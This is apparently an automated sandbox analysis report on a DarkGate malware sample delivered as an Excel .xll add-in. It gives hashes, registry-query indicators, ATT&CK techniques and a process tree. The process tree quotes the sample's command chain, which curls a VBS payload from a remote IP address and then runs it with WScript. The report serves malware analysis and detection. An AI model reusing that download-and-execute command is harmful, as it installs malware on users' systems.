98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f

General

Target

darkgate_94_228_169_123.xll
Size

50KB
MD5

8866d0e530cb613fde59c5476ea6c331
SHA1

e77beeb201303b739a9c4536514e48adc2118900
SHA256

98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
SHA512

73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
SSDEEP

1536:9lnq2U5JsS6Nh5wFXscKjrtN/5zqGyiNwmHWR03aY:9c9HQNh5wFXscKXHRzaiNnVqY

Score

10^/10

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	me.exe
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
932	me.exe

Loads dropped DLL 2 IoCs

pid	Process
3804	EXCEL.EXE
3804	EXCEL.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4428	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3804	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3804	EXCEL.EXE
3804	EXCEL.EXE

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE
3804	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3804 wrote to memory of 932	3804	EXCEL.EXE	87
PID 3804 wrote to memory of 932	3804	EXCEL.EXE	87
PID 932 wrote to memory of 3516	932	me.exe	90
PID 932 wrote to memory of 3516	932	me.exe	90
PID 3516 wrote to memory of 636	3516	cmd.exe	93
PID 3516 wrote to memory of 636	3516	cmd.exe	93
PID 3516 wrote to memory of 4428	3516	cmd.exe	104
PID 3516 wrote to memory of 4428	3516	cmd.exe	104
PID 3516 wrote to memory of 1192	3516	cmd.exe	105
PID 3516 wrote to memory of 1192	3516	cmd.exe	105

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\darkgate_94_228_169_123.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3804
- C:\Users\Public\me.exe
  C:\Users\Public\me.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\\users\\public\\1.vbs', 0); window.close();</script>"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\users\public\1.vbs
    3⤵
    - Checks computer location settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Windows\system32\curl.exe
      C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/123
      4⤵
      PID:636
  - - C:\Windows\system32\timeout.exe
      timeout 10
      4⤵
      Delays execution with timeout.exe
      PID:4428
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\users\public\1.vbs"
      4⤵
      PID:1192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Temp\darkgate_94_228_169_123.xll

Filesize
50KB

MD5
8866d0e530cb613fde59c5476ea6c331

SHA1
e77beeb201303b739a9c4536514e48adc2118900

SHA256
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f

SHA512
73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea

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C:\Users\Admin\AppData\Local\Temp\darkgate_94_228_169_123.xll

Filesize
50KB

MD5
8866d0e530cb613fde59c5476ea6c331

SHA1
e77beeb201303b739a9c4536514e48adc2118900

SHA256
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f

SHA512
73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea

Download Submit
C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

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C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

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memory/3804-13-0x00007FF9984B0000-0x00007FF9984C0000-memory.dmp

Filesize
64KB

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memory/3804-15-0x00007FF9984B0000-0x00007FF9984C0000-memory.dmp

Filesize
64KB

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memory/3804-7-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-6-0x00007FF99AE10000-0x00007FF99AE20000-memory.dmp

Filesize
64KB

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memory/3804-5-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-9-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-10-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-11-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-12-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-14-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-0-0x00007FF99AE10000-0x00007FF99AE20000-memory.dmp

Filesize
64KB

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memory/3804-8-0x00007FF99AE10000-0x00007FF99AE20000-memory.dmp

Filesize
64KB

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memory/3804-4-0x00007FF99AE10000-0x00007FF99AE20000-memory.dmp

Filesize
64KB

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memory/3804-3-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-2-0x00007FF99AE10000-0x00007FF99AE20000-memory.dmp

Filesize
64KB

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memory/3804-24-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-1-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-37-0x00007FF99AE10000-0x00007FF99AE20000-memory.dmp

Filesize
64KB

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memory/3804-38-0x00007FF99AE10000-0x00007FF99AE20000-memory.dmp

Filesize
64KB

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memory/3804-39-0x00007FF99AE10000-0x00007FF99AE20000-memory.dmp

Filesize
64KB

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memory/3804-41-0x00007FF99AE10000-0x00007FF99AE20000-memory.dmp

Filesize
64KB

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memory/3804-42-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-40-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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memory/3804-43-0x00007FF9DAD90000-0x00007FF9DAF85000-memory.dmp

Filesize
2.0MB

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Analysis

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General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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